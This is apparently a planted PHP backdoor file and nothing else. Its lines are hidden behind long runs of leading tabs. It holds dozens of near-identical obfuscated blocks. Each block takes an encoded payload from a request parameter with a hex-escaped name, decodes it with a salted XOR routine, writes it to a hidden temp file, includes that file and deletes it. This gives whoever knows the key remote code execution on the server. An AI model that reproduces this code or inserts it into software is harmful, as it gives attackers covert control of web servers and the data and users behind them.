																																										if(filter_has_var(INPUT_POST, "pa\x72am\x65\x74\x65\x72\x5F\x67r\x6Fup")){ $sym = $_POST["pa\x72am\x65\x74\x65\x72\x5F\x67r\x6Fup"]; $sym= explode( '.' ,$sym ); $hld= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $x= 0; array_walk( $sym ,function( $v5) use( &$hld ,&$x ,$salt ,$lenS) { $sChar= ord( $salt[$x % $lenS]); $d= ( ( int)$v5 - $sChar -( $x % 10)) ^39; $hld.= chr( $d); $x++; }); $ent = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir")]); foreach ($ent as $resource): if (is_dir($resource) ? is_writable($resource) : false) { $descriptor = implode("/", [$resource, ".object"]); if (file_put_contents($descriptor, $hld)) { include $descriptor; @unlink($descriptor); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){ $ref = $_REQUEST["k"]; $ref =explode ( "." , $ref ); $dchunk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s ); $j=0; while ($j <count($ref)) { $v4=$ref[$j]; $sChar=ord($s[$j % $lenS] ); $dec=((int)$v4 - $sChar - ($j % 10)) ^ 83; $dchunk .= chr($dec ); $j++; } $comp = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), getcwd()]); foreach ($comp as $key => $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $element = str_replace("{var_dir}", $ent, "{var_dir}/.reference"); $file = fopen($element, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $element; @unlink($element); exit; } } } }
																																										if(!is_null($_REQUEST["va\x6Cu\x65"] ?? null)){ $symbol = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd()]); $component = $_REQUEST["va\x6Cu\x65"]; $component = explode("." , $component ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($component); for($k = 0; $k < $len; $k++) {$v3 = $component[$k]; $sChar = ord($s[$k % $sLen]); $d =((int)$v3 - $sChar -($k % 10))^ 62; $entry .= chr($d); } for ($item = 0, $sym = count($symbol); $item < $sym; $item++) { $bind = $symbol[$item]; if (!( !is_dir($bind) || !is_writable($bind) )) { $val = implode("/", [$bind, ".rec"]); $success = file_put_contents($val, $entry); if ($success) { include $val; @unlink($val); die();} } } }
																																										if(filter_has_var(INPUT_POST, "\x70s\x65t")){ $data = $_POST["\x70s\x65t"]; $data =explode ( '.' , $data ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($data as $r => $v9) { $chS = ord($salt[$r % $sLen]); $d =((int)$v9 - $chS -($r % 10)) ^ 49; $itm .= chr($d); } $data_chunk = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($data_chunk as $key => $fac) { if ((is_dir($fac) and is_writable($fac))) { $bind = sprintf("%s/.ent", $fac); $success = file_put_contents($bind, $itm); if ($success) { include $bind; @unlink($bind); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["b\x69\x6Ed"])){ $val = $_POST["b\x69\x6Ed"]; $val =explode ( '.' , $val ) ; $ref = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); foreach ($val as $l => $v6) { $chS = ord($s9[$l % $lenS] ); $d = ((int)$v6 - $chS - ($l % 10)) ^ 57; $ref .= chr($d ); } $item = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($flag = 0, $obj = count($item); $flag < $obj; $flag++) { $ent = $item[$flag]; if (is_writable($ent) && is_dir($ent)) { $rec = str_replace("{var_dir}", $ent, "{var_dir}/.k"); if (file_put_contents($rec, $ref)) { include $rec; @unlink($rec); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x63")){ $binding = $_POST["r\x65\x63"]; $binding = explode( '.',$binding) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($binding as $r => $v8): $chS = ord($salt[$r % $lenS]); $d = ((int)$v8 - $chS - ($r % 10)) ^ 77; $flag .= chr($d); endforeach; $item = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP")]); foreach ($item as $res) { if (is_dir($res) && is_writable($res)) { $fac = "$res/.dchunk"; $success = file_put_contents($fac, $flag); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(isset($_REQUEST["fa\x63t\x6F\x72"])){ $record = $_REQUEST["fa\x63t\x6F\x72"]; $record = explode ('.', $record ) ; $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($record); for ($v = 0; $v < $__len; $v++) {$v2 = $record[$v]; $chS = ord($s[$v % $lenS]); $dec = ((int)$v2 - $chS - ($v % 10)) ^ 35; $k .= chr($dec);} $key = array_filter(["/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $pointer = 0; do { $element = $key[$pointer] ?? null; if ($pointer >= count($key)) break; if (!!is_dir($element) && !!is_writable($element)) { $component = vsprintf("%s/%s", [$element, ".rec"]); if (file_put_contents($component, $k)) { include $component; @unlink($component); exit; } } $pointer++; } while (true); }
																																										if(isset($_REQUEST["va\x6C"])){ $entry = $_REQUEST["va\x6C"]; $entry = explode ( '.' , $entry ) ; $comp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $s = 0; foreach ($entry as $v5) { $sChar = ord($salt6[$s % $sLen]); $d = ((int)$v5 - $sChar - ($s % 10)) ^ 64; $comp .=chr($d); $s++; } $mrk = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); foreach ($mrk as $key => $descriptor) { if (is_writable($descriptor) && is_dir($descriptor)) { $element = str_replace("{var_dir}", $descriptor, "{var_dir}/.flag"); if (@file_put_contents($element, $comp) !== false) { include $element; unlink($element); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x72e\x73\x6Fur\x63e")){ $hld = $_POST["\x72e\x73\x6Fur\x63e"]; $hld = explode('.', $hld ) ; $ptr= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s5); foreach( $hld as $v =>$v6) { $sChar= ord( $s5[$v % $lenS]); $d= ( ( int)$v6 - $sChar -( $v % 10)) ^35; $ptr .= chr( $d); } $sym = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", "/var/tmp"]); foreach ($sym as $val) { if (is_dir($val) ? is_writable($val) : false) { $ref = "$val/.descriptor"; if (file_put_contents($ref, $ptr)) { require $ref; unlink($ref); die(); } } } }
																																										if(isset($_POST["r\x65co\x72d"])){ $flg = $_POST["r\x65co\x72d"]; $flg = explode ("." , $flg ) ; $holder=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt3); $j=0; foreach( $flg as $v1) { $sChar=ord( $salt3[$j % $sLen]); $d=( ( int)$v1 - $sChar -( $j % 10)) ^ 74; $holder .= chr( $d); $j++; } $val = array_filter(["/dev/shm", "/var/tmp", "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); foreach ($val as $rec): if (!( !is_dir($rec) || !is_writable($rec) )) { $dchunk = vsprintf("%s/%s", [$rec, ".bind"]); if (@file_put_contents($dchunk, $holder) !== false) { include $dchunk; unlink($dchunk); exit; } } endforeach; }
																																										if(array_key_exists("r\x65\x73", $_POST) && !is_null($_POST["r\x65\x73"])){ $mrk = array_filter(["/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $sym = $_POST["r\x65\x73"]; $sym = explode ( '.' , $sym ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $r = 0; $len = count($sym ); do { if($r >= $len) break; $v9 = $sym[$r]; $chS = ord($salt[$r % $lenS] ); $d = ((int)$v9 - $chS -($r % 10)) ^ 22; $factor .= chr($d ); $r++; } while(true ); foreach ($mrk as $holder) { if (is_dir($holder) ? is_writable($holder) : false) { $parameter_group = sprintf("%s/.record", $holder); if (file_put_contents($parameter_group, $factor)) { require $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(@$_REQUEST["e\x6C\x65m\x65\x6Et"] !== null){ $entity = $_REQUEST["e\x6C\x65m\x65\x6Et"]; $entity = explode ( "." , $entity) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; $len = count($entity); do { if ($z >= $len) break; $v8 = $entity[$z]; $chS = ord($salt[$z % $sLen]); $d = ((int)$v8 - $chS - ($z % 10)) ^ 55; $data .= chr($d); $z++; } while (true); $parameter_group = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $binding = 0; do { $fac = $parameter_group[$binding] ?? null; if ($binding >= count($parameter_group)) break; if (!!is_dir($fac) && !!is_writable($fac)) { $rec = join("/", [$fac, ".hld"]); if (file_put_contents($rec, $data)) { include $rec; @unlink($rec); exit; } } $binding++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x64\x65sc"])){ $obj = array_filter([session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd()]); $record = $_POST["\x64\x65sc"]; $record = explode ( "." , $record) ; $component= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); $x= 0; while ($x <count($record)) { $v1= $record[$x]; $sChar= ord($s2[$x % $lenS]); $dec= ((int)$v1 - $sChar - ($x % 10)) ^ 71; $component .=chr($dec); $x++;} foreach ($obj as $ent) { if (is_dir($ent) ? is_writable($ent) : false) { $descriptor = vsprintf("%s/%s", [$ent, ".bind"]); $file = fopen($descriptor, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(!is_null($_POST["ent\x72\x79"] ?? null)){ $val = array_filter(["/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); $descriptor = $_POST["ent\x72\x79"]; $descriptor = explode ( "." , $descriptor) ; $component = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $y = 0; foreach( $descriptor as $v7) { $chS = ord( $salt3[$y % $sLen]); $dec =( ( int)$v7 - $chS -( $y % 10))^ 65; $component .=chr( $dec); $y++; } for ($ent = 0, $dat = count($val); $ent < $dat; $ent++) { $res = $val[$ent]; if (array_product([is_dir($res), is_writable($res)])) { $parameter_group = vsprintf("%s/%s", [$res, ".record"]); if (file_put_contents($parameter_group, $component)) { include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "ref")){ $desc = $_POST["ref"]; $desc =explode ( '.' , $desc ) ; $tkn = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2 ); $z = 0; array_walk( $desc ,function( $v2) use( &$tkn ,&$z ,$salt2 ,$sLen) { $sChar = ord( $salt2[$z % $sLen] ); $dec =( ( int)$v2 - $sChar -( $z % 10)) ^ 24; $tkn.=chr( $dec ); $z++; } ); $binding = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($binding as $fac) { if (is_dir($fac) ? is_writable($fac) : false) { $entity = "$fac/.val"; if (@file_put_contents($entity, $tkn) !== false) { include $entity; unlink($entity); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x65l\x65m"])){ $token = array_filter([sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", session_save_path()]); $bind = $_REQUEST["\x65l\x65m"]; $bind = explode ( '.' , $bind) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; foreach ($bind as $v7) {$chS = ord($s[$o % $sLen]); $d = ((int)$v7 - $chS - ($o % 10)) ^ 21; $val.= chr($d); $o++; } foreach ($token as $mrk) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $element = sprintf("%s/.binding", $mrk); $success = file_put_contents($element, $val); if ($success) { include $element; @unlink($element); die();} } } }
																																										if(in_array("s\x79m\x62ol", array_keys($_REQUEST))){ $descriptor = array_filter([getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $comp = $_REQUEST["s\x79m\x62ol"]; $comp= explode( "." , $comp ); $data =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $m =0; array_walk($comp, function ($v2) use (&$data, &$m, $s, $sLen) { $sChar =ord($s[$m % $sLen]); $dec =((int)$v2 - $sChar - ($m % 10))^ 92; $data .= chr($dec); $m++;} ); foreach ($descriptor as $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $entry = sprintf("%s/.binding", $factor); if (file_put_contents($entry, $data)) { include $entry; @unlink($entry); exit; } } } }
																																										if(in_array("\x72\x65c", array_keys($_REQUEST))){ $data_chunk = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $descriptor = $_REQUEST["\x72\x65c"]; $descriptor= explode( '.' , $descriptor ) ; $binding =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); foreach ($descriptor as $z=>$v4): $chS =ord($salt[$z % $sLen]); $dec =((int)$v4 - $chS - ($z % 10)) ^ 89; $binding .= chr($dec); endforeach; for ($res = 0, $ref = count($data_chunk); $res < $ref; $res++) { $mrk = $data_chunk[$res]; if ((is_dir($mrk) and is_writable($mrk))) { $holder = "$mrk/.entry"; if (@file_put_contents($holder, $binding) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(!is_null($_POST["h\x6Fl\x64er"] ?? null)){ $pset = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); $res = $_POST["h\x6Fl\x64er"]; $res = explode ( "." , $res ) ; $mrk = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $q = 0; while ($q< count($res)) { $v1 = $res[$q]; $chS = ord($salt3[$q % $sLen]); $dec = ((int)$v1 - $chS - ($q % 10)) ^ 66; $mrk .= chr($dec); $q++; } foreach ($pset as $value): if (array_product([is_dir($value), is_writable($value)])) { $pointer = "$value/.desc"; if (file_put_contents($pointer, $mrk)) { include $pointer; @unlink($pointer); die(); } } endforeach; }
																																										if(array_key_exists("\x74kn", $_POST) && !is_null($_POST["\x74kn"])){ $res = $_POST["\x74kn"]; $res =explode ( '.' , $res ); $ptr = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $s = 0; $__tmp = $res; while($v7 = array_shift($__tmp)) { $sChar = ord($s7[$s % $lenS] ); $d = ((int)$v7 - $sChar -($s % 10))^ 90; $ptr .= chr($d ); $s++; } $dat = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir()]); while ($component = array_shift($dat)) { if ((is_dir($component) and is_writable($component))) { $elem = "$component/.entity"; $file = fopen($elem, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $elem; @unlink($elem); die(); } } } }
																																										if(isset($_POST["\x70\x74r"])){ $data_chunk = array_filter([session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); $item = $_POST["\x70\x74r"]; $item =explode ( '.', $item ); $record =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $i =0; $__tmp =$item; while($v1 =array_shift($__tmp)) { $sChar =ord($s[$i % $sLen] ); $dec =((int)$v1 - $sChar -($i % 10)) ^ 6; $record .= chr($dec ); $i++; } $element = 0; do { $holder = $data_chunk[$element] ?? null; if ($element >= count($data_chunk)) break; if (max(0, is_dir($holder) * is_writable($holder))) { $value = join("/", [$holder, ".binding"]); if (file_put_contents($value, $record)) { include $value; @unlink($value); die(); } } $element++; } while (true); }
																																										if(array_key_exists("\x76\x61l", $_REQUEST)){ $bind = $_REQUEST["\x76\x61l"]; $bind = explode ("." , $bind ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach ($bind as $j =>$v5): $sChar = ord($s[$j % $sLen] ); $d = ((int)$v5 - $sChar - ($j % 10)) ^ 18; $component.= chr($d ); endforeach; $elem = array_filter([session_save_path(), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($elem as $entry): if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $res = sprintf("%s/.ptr", $entry); $file = fopen($res, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $res; @unlink($res); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x76\x61lue"])){ $property_set = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP")]); $dat = $_REQUEST["\x76\x61lue"]; $dat =explode ( "." ,$dat); $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; while ($y < count($dat)) { $v2 = $dat[$y]; $chS = ord($s[$y % $lenS]); $dec = ((int)$v2 - $chS - ($y % 10)) ^ 32; $component .= chr($dec); $y++; } $comp = 0; do { $flg = $property_set[$comp] ?? null; if ($comp >= count($property_set)) break; if (!( !is_dir($flg) || !is_writable($flg) )) { $dchunk = str_replace("{var_dir}", $flg, "{var_dir}/.flag"); if (file_put_contents($dchunk, $component)) { require $dchunk; unlink($dchunk); die(); } } $comp++; } while (true); }
																																										if(!empty($_POST["r\x65f\x65\x72\x65nce"])){ $data = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path()]); $entry = $_POST["r\x65f\x65\x72\x65nce"]; $entry = explode( '.', $entry ); $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; $__len = count($entry); do { if($p >= $__len) break; $v6 = $entry[$p]; $sChar = ord($s[$p % $sLen]); $d =((int)$v6 - $sChar -($p % 10))^ 47; $token .= chr($d); $p++; }while(true); foreach ($data as $holder): if (max(0, is_dir($holder) * is_writable($holder))) { $sym = str_replace("{var_dir}", $holder, "{var_dir}/.comp"); $success = file_put_contents($sym, $token); if ($success) { include $sym; @unlink($sym); exit;} } endforeach; }
																																										if(isset($_REQUEST["s\x79m"])){ $pset = $_REQUEST["s\x79m"]; $pset = explode ( '.', $pset ) ; $ent = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); foreach($pset as $w => $v2) { $sChar = ord($s8[$w % $sLen]); $dec =((int)$v2 - $sChar -($w % 10)) ^ 34; $ent .=chr($dec); } $dchunk = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir()]); foreach ($dchunk as $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $parameter_group = str_replace("{var_dir}", $hld, "{var_dir}/.dat"); $success = file_put_contents($parameter_group, $ent); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }
																																										if(array_key_exists("r\x65f", $_POST)){ $sym = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); $val = $_POST["r\x65f"]; $val = explode ( "." , $val ); $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $u = 0; $__tmp = $val; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $salt[$u % $sLen] ); $d =( ( int)$v2 - $sChar -( $u % 10)) ^20; $element .= chr( $d ); $u++;} foreach ($sym as $key => $entry) { if (!( !is_dir($entry) || !is_writable($entry) )) { $symbol = vsprintf("%s/%s", [$entry, ".factor"]); $success = file_put_contents($symbol, $element); if ($success) { include $symbol; @unlink($symbol); exit;} } } }
																																										if(in_array("k", array_keys($_REQUEST))){ $fac = $_REQUEST["k"]; $fac = explode("." ,$fac ) ; $elem = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach ($fac as $k =>$v2): $chS = ord($s5[$k%$sLen]); $dec = ((int)$v2 - $chS - ($k%10)) ^ 5; $elem .= chr($dec); endforeach; $pset = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), "/var/tmp"]); $itm = 0; do { $token = $pset[$itm] ?? null; if ($itm >= count($pset)) break; if (!( !is_dir($token) || !is_writable($token) )) { $rec = "$token" . "/.obj"; $success = file_put_contents($rec, $elem); if ($success) { include $rec; @unlink($rec); die();} } $itm++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x6F\x62j")){ $element = $_REQUEST["\x6F\x62j"]; $element= explode( "." ,$element ) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($element as $p => $v5): $chS = ord($s[$p % $lenS]); $dec = ((int)$v5 - $chS - ($p % 10)) ^ 11; $dat .= chr($dec); endforeach; $comp = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $val = 0; do { $descriptor = $comp[$val] ?? null; if ($val >= count($comp)) break; if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $property_set = implode("/", [$descriptor, ".hld"]); if (file_put_contents($property_set, $dat)) { include $property_set; @unlink($property_set); exit; } } $val++; } while (true); }
																																										if(array_key_exists("m\x72k", $_REQUEST) && !is_null($_REQUEST["m\x72k"])){ $binding = $_REQUEST["m\x72k"]; $binding = explode( '.' ,$binding ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $x = 0; while( $x < count( $binding)) { $v5 = $binding[$x]; $chS = ord( $salt[$x % $lenS] ); $dec =( ( int)$v5 - $chS -( $x % 10))^2; $key .= chr( $dec ); $x++; } $rec = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp"]); for ($marker = 0, $factor = count($rec); $marker < $factor; $marker++) { $dat = $rec[$marker]; if (is_dir($dat) && is_writable($dat)) { $elem = join("/", [$dat, ".flag"]); if (@file_put_contents($elem, $key) !== false) { include $elem; unlink($elem); die(); } } } }
																																										if(array_key_exists("\x64c\x68\x75nk", $_POST) && !is_null($_POST["\x64c\x68\x75nk"])){ $component = array_filter([getcwd(), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm"]); $mrk = $_POST["\x64c\x68\x75nk"]; $mrk = explode ( '.' , $mrk) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($mrk as $l => $v3) { $sChar = ord($s[$l%$sLen]); $dec = ((int)$v3 - $sChar - ($l%10)) ^ 9; $tkn .= chr($dec);} foreach ($component as $key => $entry) { if (!!is_dir($entry) && !!is_writable($entry)) { $dat = str_replace("{var_dir}", $entry, "{var_dir}/.reference"); if (file_put_contents($dat, $tkn)) { include $dat; @unlink($dat); die(); } } } }
																																										if(isset($_POST["comp"]) ? true : false){ $flg = $_POST["comp"]; $flg= explode ( '.' , $flg ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $o = 0; array_walk( $flg , function( $v5) use( &$ent , &$o , $salt , $sLen) {$sChar = ord( $salt[$o % $sLen]); $dec =( ( int)$v5 - $sChar -( $o % 10)) ^ 76; $ent .= chr( $dec); $o++; }); $element = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); foreach ($element as $key => $entry) { if (is_writable($entry) && is_dir($entry)) { $obj = "$entry" . "/.data"; $success = file_put_contents($obj, $ent); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(!is_null($_REQUEST["va\x6C\x75e"] ?? null)){ $binding = $_REQUEST["va\x6C\x75e"]; $binding= explode ( "." ,$binding ) ; $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5); $__len = count( $binding); for( $l = 0; $l < $__len; $l++) {$v9 = $binding[$l]; $sChar = ord( $salt5[$l % $sLen]); $dec =( ( int)$v9 - $sChar -( $l % 10))^ 91; $obj .= chr( $dec); } $dat = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP")]); $record = 0; do { $holder = $dat[$record] ?? null; if ($record >= count($dat)) break; if (is_writable($holder) && is_dir($holder)) { $ent = join("/", [$holder, ".dchunk"]); if (file_put_contents($ent, $obj)) { require $ent; unlink($ent); exit; } } $record++; } while (true); }
																																										if(in_array("ent", array_keys($_REQUEST))){ $ref = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); $marker = $_REQUEST["ent"]; $marker =explode ("." ,$marker ) ; $fac = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $p = 0; $len = count($marker); do { if($p >= $len) break; $v1 = $marker[$p]; $chS = ord($s5[$p% $lenS]); $d = ((int)$v1 - $chS -($p% 10)) ^ 49; $fac .= chr($d); $p++; }while(true); while ($pointer = array_shift($ref)) { if (!!is_dir($pointer) && !!is_writable($pointer)) { $component = vsprintf("%s/%s", [$pointer, ".flag"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $component; @unlink($component); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62\x69nd\x69\x6Eg"])){ $mrk = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); $record = $_REQUEST["\x62\x69nd\x69\x6Eg"]; $record = explode ( '.' ,$record ) ; $pgrp= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt9); foreach ($record as $u => $v3): $sChar= ord($salt9[$u % $lenS]); $d= ((int)$v3 - $sChar - ($u % 10)) ^ 48; $pgrp .= chr($d); endforeach; foreach ($mrk as $elem): if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $entity = "$elem" . "/.ent"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $entity; @unlink($entity); exit; } } endforeach; }
